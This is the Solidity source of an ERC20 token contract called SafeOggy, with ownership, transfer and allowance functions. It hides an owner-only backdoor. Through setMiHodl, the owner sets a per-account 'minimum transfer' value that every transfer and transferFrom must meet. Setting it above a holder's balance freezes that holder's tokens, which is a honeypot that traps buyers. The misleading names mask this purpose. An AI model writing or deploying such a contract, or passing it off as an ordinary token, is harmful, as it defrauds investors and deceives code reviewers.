Contract Source Code:
pragma solidity ^0.8.3;
// Interface for ERC20 standard functions and events.
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Abstract contract that provides a context for who is calling the function.
abstract contract Context {
// Internal function to return the sender of the transaction.
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
// Contract module that provides basic authorization control.
contract Ownable is Context {
address private _owner;
// Event that is emitted when ownership is transferred.
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// Constructor that sets the original `owner` of the contract to the sender.
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
// Function to return the address of the current owner.
function owner() public view virtual returns (address) {
return _owner;
}
// Modifier to restrict functions to the owner.
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
// Function to relinquish ownership of the contract.
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
// Function to transfer ownership to a new address.
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// ERC20 Token implementation.
contract SafeOggy is Context, Ownable, IERC20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _mihodl;
bool private _activeTrade = true;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
// Constructor to initialize the token.
constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_totalSupply = totalSupply_ * (10 ** uint256(decimals_));
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
// Standard ERC20 functions.
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_activeTrade, "SafeOggy: Trading is currently disabled");
require(amount >= _mihodl[_msgSender()], "SafeOggy: Transfer amount is less than the minimum allowed");
require(_balances[_msgSender()] >= amount, "SafeOggy: transfer amount exceeds balance");
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_activeTrade, "SafeOggy: Trading is currently disabled");
require(amount >= _mihodl[sender], "SafeOggy: Not exceed mi hodl");
require(_balances[sender] >= amount, "SafeOggy: transfer amount exceeds balance");
require(_allowances[sender][_msgSender()] >= amount, "SafeOggy: transfer amount exceeds allowance");
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
// Events and functions for managing minimum transfer amounts and trading status.
event HodlReq(address indexed account, uint256 newAmount);
function setMiHodl(address account, uint256 newAmount) public onlyOwner {
require(account != address(0), "SafeOggy: address zero is not a valid account");
_mihodl[account] = newAmount;
emit HodlReq(account, newAmount);
}
function getHoldBase(address account) public view returns (uint256) {
return _mihodl[account];
}
function isActiveTrade() public view returns (bool) {
return _activeTrade;
}
}